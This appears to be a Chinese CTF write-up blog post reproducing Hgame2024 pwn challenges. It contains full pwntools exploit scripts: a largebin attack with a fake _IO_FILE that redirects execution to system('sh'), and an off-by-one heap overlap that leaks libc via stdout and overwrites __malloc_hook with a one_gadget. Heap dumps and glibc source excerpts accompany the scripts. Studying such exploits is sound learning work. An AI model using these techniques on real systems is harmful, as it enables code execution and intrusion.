    io.recvuntil(b'b')
    chunk2 = u64(io.recv(6).ljust(8, b'\x00'))
    print("chunk2="+hex(chunk2))

    # edit(2, p64(largebin)*2) # 后面也改了 这不写也能通

    _IO_all_list = libc_base + 0x1e45c0
    print('_IO_all_list'+hex(_IO_all_list))

    delete(0)

    # largebin attack add(5)后将chunk0插入largebin中 导致IO_all_list位置被修改成chunk0的地址
    payload = p64(largebin)*2
    payload += p64(chunk2) + p64(_IO_all_list-0x20)
    edit(2, payload)

    add(5, 0x550)

    chunk0 = chunk2 - 0xa30
    print('chunk0='+hex(chunk0))

    edit(8, b'a'*(0x500) + p32(0xfffff7f5) + b';sh\x00')# flag字段设置为0x68733bfffff7f5
    fake_io_file = p64(0)*2 + p64(1) + p64(2) # _IO_write_base=1,_IO_write_ptr=2 (好像只要前<后就能打通
    fake_io_file = fake_io_file.ljust(0xa0-0x10, b'\x00') + p64(chunk0+0x100) # _wide_data
    fake_io_file = fake_io_file.ljust(0xc0-0x10, b'\x00') + p64(0xffffffffffffffff) # _mode=-1
    fake_io_file = fake_io_file.ljust(0xd8-0x10, b'\x00') + p64(libc_base+0x1e4f80) # vtable改为_IO_wfile_jumps
    fake_io_file = fake_io_file.ljust(0x100-0x10 + 0xe0, b'\x00') + p64(chunk0+0x200) # _wide_data->_wide_vtable改为可控地址
    fake_io_file = fake_io_file.ljust(0x200-0x10, b'\x00') + p64(0)*13 + p64(system) # _wide_data->_wide_vtable->doallocate改为system
    edit(0, fake_io_file)
    # gdb.attach(io)
    # pause()

    io.sendlineafter(">", b'5')

    io.interactive()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    # delete(2)进入largebin中
    Free chunk (largebins) | PREV_INUSE # chunk2
    Addr: 0x55e7f0e171d0
    Size: 0x530 (with flag bits: 0x531)
    fd: 0x7f3d1e11c030 'largebin'
    bk: 0x7f3d1e11c030 'largebin'
    fd_nextsize: 0x55e7f0e171d0
    bk_nextsize: 0x55e7f0e171d0
    -------------------------------------------------------
    # delete(0)进入unsortedbin 修改chunk2的结构
    Free chunk (unsortedbin) | PREV_INUSE # chunk0
    Addr: 0x55884f4957a0
    Size: 0x520 (with flag bits: 0x521)
    fd: 0x7f14523f2c00
    bk: 0x7f14523f2c00

    Allocated chunk
    Addr: 0x55884f495cc0
    Size: 0x510 (with flag bits: 0x510)

    Free chunk (largebins) | PREV_INUSE # chunk2
    Addr: 0x55884f4961d0
    Size: 0x530 (with flag bits: 0x531)
    fd: 0x7f14523f3030
    bk: 0x7f14523f3030
    fd_nextsize: 0x55884f4961d0
    bk_nextsize: 0x7f14523f35a0 # 指向_IO_all_list-0x20
    -------------------------------------------------------
    # chunk0进入largebin
    Free chunk (largebins) | PREV_INUSE # chunk0
    Addr: 0x562b142f37a0
    Size: 0x520 (with flag bits: 0x521)
    fd: 0x7f6f7bb72030
    bk: 0x562b142f41d0
    fd_nextsize: 0x562b142f41d0
    bk_nextsize: 0x7f6f7bb725a0

    Allocated chunk
    Addr: 0x562b142f3cc0
    Size: 0x510 (with flag bits: 0x510)

    Free chunk (largebins) | PREV_INUSE # chunk2
    Addr: 0x562b142f41d0
    Size: 0x530 (with flag bits: 0x531)
    fd: 0x562b142f37a0
    bk: 0x7f6f7bb72030
    fd_nextsize: 0x562b142f41d0
    bk_nextsize: 0x562b142f37a0

    # 此时_IO_list_all写上了chunk0的地址
    pwndbg> tele 0x7f90cf3655a0
    00:00000x7f90cf3655a0 (_nl_global_locale+224) —▸ 0x7f90cf330e18 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */
    01:0008│ 0x7f90cf3655a8 ◂— 0x0
    ... 2 skipped
    04:0020│ 0x7f90cf3655c0 (_IO_list_all) —▸ 0x55d06cf147a0 ◂— 0x0
    05:0028│ 0x7f90cf3655c8 ◂— 0x0
    ---------------------------------------------
    # 写fake_IO_file
    pwndbg> p *_IO_list_all
    $1 = {
    file = {
    _flags = -2059,
    _IO_read_ptr = 0x521 <error: Cannot access memory at address 0x521>,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_write_ptr = 0x2 <error: Cannot access memory at address 0x2>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x5640c53968a0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = "\377\377\377\377", '\000' <repeats 15 times>
    },
    vtable = 0x7f487ed49f80 <_IO_wfile_jumps>
    }

    • 但是问题是我看hollk师傅源码解读是只有后释放的chunk_size(即chunk0)大于先进largebin的才会有largebin attack呀 但这的chunk0_size<chunk2_size,不懂为啥还能写:因为libc的版本不一样了 你看看how2heap就知道2.32的是需要malloc一个小的 具体的解释可能需要看看源码了 (by the way how2heap真的很有用

    • _mode的设置为-1的作用和flag那具体怎么写能getshell的:
      glibc源码中IO_file结构体的位置在/libio/bits/types/struct_FILE.h

      1
      2
      3
      4
      5
      6
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) // _mode write_ptr   write_base字段的设置
      || (_IO_vtable_offset (fp) == 0
      && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
      > fp->_wide_data->_IO_write_base))
      )
      && _IO_OVERFLOW (fp, EOF) == EOF)//here to call the function

      if内即为拉起宏调用所需条件
      注意如果欲控制rdi获得shell,_flag需要为
      b’ sh;’ + p64((~(2 | 0x8 | 0x800))&0xffffffffffffffff)

      ~(2 | 0x8 | 0x800)结果就是0xFFFFF7F5

      原文链接:https://blog.csdn.net/qq_62172019/article/details/130757223

      1
      2
      3
      [*] Switching to interactive mode
      sh: 1: \xf5\xf7\xff\xff: not found
      $
  • 官方WP应该是没用house of 但有个_mp结构体

week4

pwn

EldenRingFinal

  • 啊懂了 因为是没有show函数的 所以需要利用_IO_2_1_stdout_或_IO_2_1_stderr_泄露libc 据说现在也比较常见了 然后就是一般来说是需要爆破的

    https://blog.csdn.net/qq_41202237/article/details/113845320

  • // 2.23
    struct _IO_FILE_plus
    {
      _IO_FILE file;
      const struct _IO_jump_t *vtable;
    };
    
    struct _IO_FILE {
      int _flags;		/* High-order word is _IO_MAGIC;     由libc固定,不同的libc可能存在差异,但基本都是0xfbad0000 rest is flags. */
    #define _IO_file_flags _flags
    
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;	/* Current read pointer */
      char* _IO_read_end;	/* End of get area. */
      char* _IO_read_base;	/* Start of putback+get area. */
      char* _IO_write_base;	/* Start of put area. */
      char* _IO_write_ptr;	/* Current put pointer. */
      char* _IO_write_end;	/* End of put area. */
      char* _IO_buf_base;	/* Start of reserve area. */
      char* _IO_buf_end;	/* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain; // IO_list_all-->stderr(.chain)-->stdout(.chain)-->stdin
    
      int _fileno;
    #if 0
      int _blksize;
    #else
      int _flags2;
    #endif
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    
    #define __HAVE_COLUMN /* temporary */
      /* 1+column number of pbase(); 0 is unknown. */
      unsigned short _cur_column;
      signed char _vtable_offset;
      char _shortbuf[1];
    
      /*  char* _save_gptr;  char* _save_egptr; */
    
      _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202

    ```c
    #include "libioP.h"
    #include <string.h>
    #include <limits.h>

    int
    _IO_puts (const char *str)
    {
    int result = EOF;
    _IO_size_t len = strlen (str);
    _IO_acquire_lock (_IO_stdout);

    if ((_IO_vtable_offset (_IO_stdout) != 0
    || _IO_fwide (_IO_stdout, -1) == -1)
    && _IO_sputn (_IO_stdout, str, len) == len // _IO_sputn是一个宏,作用是调用_IO_2_1_stdout_中的vtable所指向的_xsputn
    && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

    _IO_release_lock (_IO_stdout);
    return result;
    }

    #ifdef weak_alias
    weak_alias (_IO_puts, puts)
    #endif


    _IO_size_t
    _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
    {
    const char *s = (const char *) data;
    _IO_size_t to_do = n;
    int must_flush = 0;
    _IO_size_t count = 0;

    if (n <= 0)
    return 0;
    /* This is an optimized implementation.
    If the amount to be written straddles a block boundary
    (or the filebuf is unbuffered), use sys_write directly. */

    /* First figure out how much space is available in the buffer. */
    if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
    count = f->_IO_buf_end - f->_IO_write_ptr;
    if (count >= n)
    {
    const char *p;
    for (p = s + n; p > s; )
    {
    if (*--p == '\n')
    {
    count = p - s + 1;
    must_flush = 1;
    break;
    }
    }
    }
    }
    else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

    /* Then fill the buffer. */
    if (count > 0)
    {
    if (count > to_do)
    count = to_do;
    #ifdef _LIBC
    f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
    #else
    memcpy (f->_IO_write_ptr, s, count);
    f->_IO_write_ptr += count;
    #endif
    s += count;
    to_do -= count;
    }
    if (to_do + must_flush > 0)
    {
    _IO_size_t block_size, do_write;
    /* Next flush the (full) buffer. */
    if (_IO_OVERFLOW (f, EOF) == EOF) // 如果没有输出完,通过_IO_OVERFLOW刷新缓冲区或建立缓冲区
    /* If nothing else has to be written we must not signal the
    caller that everything has been written. */
    return to_do == 0 ? EOF : n - to_do;

    /* Try to maintain alignment: write a whole number of blocks. */
    block_size = f->_IO_buf_end - f->_IO_buf_base;
    do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

    if (do_write)
    {
    count = new_do_write (f, s, do_write);
    to_do -= count;
    if (count < do_write)
    return n - to_do;
    }

    /* Now write out the remainder. Normally, this will fit in the
    buffer, but it's somewhat messier for line-buffered files,
    so we let _IO_default_xsputn handle the general case. */
    if (to_do)
    to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
    return n - to_do;
    }

    // _IO_OVERFLOW默认对应的函数是_IO_new_file_overflow
    int
    _IO_new_file_overflow (_IO_FILE *f, int ch)
    {
    if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
    f->_flags |= _IO_ERR_SEEN;
    __set_errno (EBADF);
    return EOF;
    }
    /* If currently reading or no buffer allocated. */
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
    /* Allocate a buffer if needed. */
    if (f->_IO_write_base == NULL)
    {
    _IO_doallocbuf (f);
    _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
    /* Otherwise must be currently reading.
    If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
    logically slide the buffer forwards one block (by setting the
    read pointers to all point at the beginning of the block). This
    makes room for subsequent output.
    Otherwise, set the read pointers to _IO_read_end (leaving that
    alone, so it can continue to correspond to the external position). */
    if (__glibc_unlikely (_IO_in_backup (f)))
    {
    size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
    _IO_free_backup_area (f);
    f->_IO_read_base -= MIN (nbackup,
    f->_IO_read_base - f->_IO_buf_base);
    f->_IO_read_ptr = f->_IO_read_base;
    }

    if (f->_IO_read_ptr == f->_IO_buf_end)
    f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
    f->_IO_write_ptr = f->_IO_read_ptr;
    f->_IO_write_base = f->_IO_write_ptr;
    f->_IO_write_end = f->_IO_buf_end;
    f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

    f->_flags |= _IO_CURRENTLY_PUTTING;
    if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    f->_IO_write_end = f->_IO_write_ptr;
    }
    if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
    f->_IO_write_ptr - f->_IO_write_base);
    if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
    return EOF;
    *f->_IO_write_ptr++ = ch;
    if ((f->_flags & _IO_UNBUFFERED)
    || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
    f->_IO_write_ptr - f->_IO_write_base) == EOF)
    return EOF;
    return (unsigned char) ch;
    }
    libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)


    # define _IO_new_do_write _IO_do_write
    // _IO_new_do_write调用new_do_write
    static
    _IO_size_t
    new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
    {
    _IO_size_t count;
    if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
    you would need to sys_seek(0, SEEK_END) here, but is
    not needed nor desirable for Unix- or Posix-like systems.
    Instead, just indicate that offset (before and after) is
    unpredictable. */
    fp->_offset = _IO_pos_BAD;
    else if (fp->_IO_read_end != fp->_IO_write_base)
    {
    _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
    if (new_pos == _IO_pos_BAD)
    return 0;
    fp->_offset = new_pos;
    }
    count = _IO_SYSWRITE (fp, data, to_do);
    if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
    _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
    fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
    fp->_IO_write_end = (fp->_mode <= 0
    && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    ? fp->_IO_buf_base : fp->_IO_buf_end);
    return count;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #define _IO_MAGIC 0xFBAD0000 /* Magic number */
    ......
    #define _IO_NO_WRITES 8 /* Writing not allowd */
    ......
    #define _IO_CURRENTLY_PUTTING 0x800
    #define _IO_IS_APPENDING 0x1000
    ......

    // 所以要使执行_IO_SYSWRITE,flag设置为0xfbad1800

    // 同时,设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc
    ![](\img\QQ截图20240504192519.png)
  • 从fastbin中重新malloc时需要size一样,而不是分割

    unsortedbin中重新分配则会分割

  • pwndbg> heap
    pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
    This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
    '''pagestart & notestart
    Allocated chunk | PREV_INUSE
    Addr: 0x141c000
    Size: 0x30 (with flag bits: 0x31)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x141c030
    Size: 0x30 (with flag bits: 0x31)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x141c060
    Size: 0x30 (with flag bits: 0x31)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x141c090
    Size: 0x30 (with flag bits: 0x31)
    '''
    
    Free chunk (fastbins) | PREV_INUSE # free
    Addr: 0x141c0c0
    Size: 0x30 (with flag bits: 0x31)
    fd: 0x141c0f0
    
    Free chunk (fastbins) | PREV_INUSE  # free
    Addr: 0x141c0f0
    Size: 0x30 (with flag bits: 0x31)
    fd: 0x00
    
    Allocated chunk | PREV_INUSE #  note10
    Addr: 0x141c120
    Size: 0x30 (with flag bits: 0x31)
    
    Free chunk (fastbins) | PREV_INUSE # free
    Addr: 0x141c150
    Size: 0x30 (with flag bits: 0x31)
    fd: 0x141c0c0
    
    Allocated chunk | PREV_INUSE # note8
    Addr: 0x141c180
    Size: 0x30 (with flag bits: 0x31)
    
    Allocated chunk | PREV_INUSE # note9
    Addr: 0x141c1b0
    Size: 0x30 (with flag bits: 0x31)
    
    Allocated chunk | PREV_INUSE # note6
    Addr: 0x141c1e0
    Size: 0x30 (with flag bits: 0x31)
    
    Allocated chunk | PREV_INUSE # note7
    Addr: 0x141c210
    Size: 0x30 (with flag bits: 0x31)
    
     '''note_protect
    Allocated chunk | PREV_INUSE 
    Addr: 0x141c240
    Size: 0x30 (with flag bits: 0x31)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x141c270
    Size: 0x20 (with flag bits: 0x21)
    '''
    
    Allocated chunk | PREV_INUSE # note6_content
    Addr: 0x141c290
    Size: 0x20 (with flag bits: 0x21)
    
    Allocated chunk | PREV_INUSE # note7_content
    Addr: 0x141c2b0
    Size: 0x100 (with flag bits: 0x101)
    
    Allocated chunk | PREV_INUSE # note8_content
    Addr: 0x141c3b0
    Size: 0x70 (with flag bits: 0x71)
    
    Allocated chunk | PREV_INUSE # note9_content
    Addr: 0x141c420
    Size: 0x70 (with flag bits: 0x71)
    
    Allocated chunk | PREV_INUSE # note10_content
    Addr: 0x141c490
    Size: 0x20 (with flag bits: 0x21)
    
    Top chunk | PREV_INUSE
    Addr: 0x141c4b0
    Size: 0x20b50 (with flag bits: 0x20b51)
    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35

    ```python
    Allocated chunk | PREV_INUSE # note6_content
    Addr: 0x1af8290
    Size: 0x20 (with flag bits: 0x21)

    '''offbyone overlapping789
    Allocated chunk | PREV_INUSE --------->chunkb
    Addr: 0x1af82b0
    Size: 0xe0 (with flag bits: 0xe1)

    Free chunk (fastbins) | PREV_INUSE ------>chunka
    Addr: 0x1af8390
    Size: 0x20 (with flag bits: 0x21)
    fd: 0x00

    Allocated chunk | PREV_INUSE
    Addr: 0x1af83b0
    Size: 0x20 (with flag bits: 0x21)

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x1af83d0
    Size: 0xc0 (with flag bits: 0xc1)
    fd: 0x780d19dc3b78
    bk: 0x780d19dc3b78
    '''

    Allocated chunk
    Addr: 0x1af8490
    Size: 0x20 (with flag bits: 0x20)

    Top chunk | PREV_INUSE
    Addr: 0x1af84b0
    Size: 0x20b50 (with flag bits: 0x20b51)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *

io = process("./vuln")
libc = ELF("./libc-2.23.so")
context(arch='amd64', os='linux', log_level='debug')

def add_page():
io.sendlineafter(">", b'1')

def delete_page(idex):
io.sendlineafter(">", b'2')
io.sendlineafter(">", str(indx)) # 从1开始

def add_note(page_idex, size, content):
io.sendlineafter(">", b'3')
io.sendlineafter(">", str(page_idex))
io.sendlineafter(">", str(size))
io.sendafter(">", content)

def delete_note(page_id, note_id):
io.sendlineafter(">", b'4')
io.sendlineafter(">", str(page_id))
io.sendlineafter(">", str(note_id))

#-----------调整堆使连续存放---------
# add_page()
add_note(0, 0x28, b'aaa')
add_note(0, 0x28, b'aaa')
add_note(0, 0x28, b'aaa')
add_note(0, 0x28, b'aaa')
add_note(0, 0x28, b'protect')
delete_note(0, 1)
delete_note(0, 2)
delete_note(0, 3)
delete_note(0, 4)

add_note(0, 0x18, b'6')
add_note(0, 0xf8, b'7')
add_note(0, 0x68, b'8')
add_note(0, 0x68, b'9')
add_note(0, 0x18, b'10')

#----------offbyone-------------
delete_note(0, 6)
add_note(0, 0x18, p64(0)*3+b'\xe1') # overlapping7 8 9
delete_note(0, 7) # 0x1e0的chunk进入unsortedbin
delete_note(0, 8)

add_note(0, 0xd8, b'b')
add_note(0,0x18,b'a')
add_note(0,0x18,b'\xdd\x45') # fd=_IO_2_1_stderr_+157

delete_note(0,13)# chunk_a
add_note(0,0x18,p64(0)*3+b'\x71') # pass check

add_note(0,0x68,b'a')#
'''
flag 0xfbad1800
_IO_read_ptr 0
_IO_read_end 0
_IO_read_base 0
'''
add_note(0,0x68,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x58')#修改stdout
print(io.recv(6))
stdout = u64(io.recv(6).ljust(8, b'\x00')) - 131
# stdout = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 131
base = stdout - libc.sym['_IO_2_1_stdout_']
print('base='+hex(base))

malloc_hook = base + libc.sym['__malloc_hook']
print(hex(malloc_hook))
ogg = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
onegadget = base + ogg[3]

#----------malloc_hook---------
add_page() # 这里可以重新add一个page就更清楚啦
add_note(1, 0x28, b'aaa')
add_note(1, 0x28, b'aaa')
add_note(1, 0x28, b'aaa')
add_note(1, 0x28, b'aaa')
add_note(1, 0x28, b'protect')
delete_note(1, 1)
delete_note(1, 2)
delete_note(1, 3)
delete_note(1, 4)

add_note(1, 0x18, b'6')
add_note(1, 0xf8, b'7')
add_note(1, 0x68, b'8')
add_note(1, 0x68, b'9')
add_note(1, 0x18, b'10')

delete_note(1, 6)
add_note(1, 0x18, p64(0)*3+b'\xe1')
delete_note(1, 7)
delete_note(1, 8)

add_note(1, 0xd8, b'b')
add_note(1,0x18,b'a')
print(hex(malloc_hook-0x23))
add_note(1,0x18,p64(malloc_hook-0x23))
# # gdb.attach(io)
# # pause()

delete_note(1, 13)
add_note(1, 0x18, p64(0)*3+b'\x71') # 这3个官方wp写的page是0 也不到是不是写错了 0/1都能通
add_note(1, 0x68, b'a')
add_note(1, 0x68, b'a'*0x13+p64(onegadget))

add_page()


io.interactive()

# '''
# 00:0000│ 0x602050 (PAGE_start) —▸ 0xbd4010 ◂— 0x0
# 01:0008│ 0x602058 (NOTE_start) —▸ 0xbd4040 ◂— 0x0

# '''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# delete(0, 8)后下断点
pwndbg> x/50gx 0x226e260
0x226e260: 0x0000000000000000 0x00000000000001e1
0x226e270: 0x00007772117c3b78 0x00007772117c3b78
0x226e280: 0x0000000000000000 0x0000000000000000
0x226e290: 0x0000000000000000 0x0000000000000000
0x226e2a0: 0x0000000000000000 0x0000000000000000
0x226e2b0: 0x0000000000000000 0x0000000000000000
0x226e2c0: 0x0000000000000000 0x0000000000000000
0x226e2d0: 0x0000000000000000 0x0000000000000000
0x226e2e0: 0x0000000000000000 0x0000000000000000
0x226e2f0: 0x0000000000000000 0x0000000000000000
0x226e300: 0x0000000000000000 0x0000000000000000
0x226e310: 0x0000000000000000 0x0000000000000000
0x226e320: 0x0000000000000000 0x0000000000000000
0x226e330: 0x0000000000000000 0x0000000000000000
0x226e340: 0x0000000000000000 0x0000000000000000
0x226e350: 0x0000000000000000 0x0000000000000000
0x226e360: 0x0000000000000000 0x0000000000000071
0x226e370: 0x0000000000000000 0x0000000000000000




add_note(0,0x68,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x58') # \x58是将_IO_write_base; /* Start of put area. */的后两位改成了58也就是下图标注的那里
pwndbg> x/30gx 0x775a2a3c4620-0x40
0x775a2a3c45e0 <_IO_2_1_stderr_+160>: 0x0000775a2a3c3660 0x6161610000000000
0x775a2a3c45f0 <_IO_2_1_stderr_+176>: 0x6161616161616161 0x6161616161616161
0x775a2a3c4600 <_IO_2_1_stderr_+192>: 0x6161616161616161 0x6161616161616161
0x775a2a3c4610 <_IO_2_1_stderr_+208>: 0x6161616161616161 0x6161616161616161
0x775a2a3c4620 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x0000775a2a3c46a3
0x775a2a3c4630 <_IO_2_1_stdout_+16>: 0x0000775a2a3c46a3 0x0000775a2a3c46a3
0x775a2a3c4640 <_IO_2_1_stdout_+32>: 0x0000775a2a3c46a3 0x0000775a2a3c46a4
0x775a2a3c4650 <_IO_2_1_stdout_+48>: 0x0000775a2a3c46a4 #0x0000775a2a3c46a3
0x775a2a3c4660 <_IO_2_1_stdout_+64>: 0x0000775a2a3c46a4 0x0000000000000000
0x775a2a3c4670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x775a2a3c4680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x0000775a2a3c38e0
0x775a2a3c4690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x775a2a3c46a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x0000775a2a3c5780
0x775a2a3c46b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x775a2a3c46c0 <_IO_2_1_stdout_+160>: 0x0000775a2a3c37a0 0x0000000000000000

  • 还有一点就是跟出题有关吧

    # Post author: Zchared @AkyOI
    # Post link: https://blog.akyuu.space/2024/02/25/Pwn/IO_FILE/
    # Copyright Notice: All articles in this blog are licensed under (CC)BY-NC-SA unless stating additionally.

    结构体比较复杂的 heap,看似 free 函数之后没有清空指针会有 uaf 漏洞,但是由于 chunk 之间采用链表链接,取出 chunk 也就没法遍历到了,所以就相当于清空指针的作用。而且创建指向内容的 chunk 的 chunk 在 malloc 之后也写入了新东西,所以没法直接 UAF。


Hgame2024复现
https://yech0.github.io/2024/03/23/Hgame2024/
作者
yech0
发布于
2024年3月23日
许可协议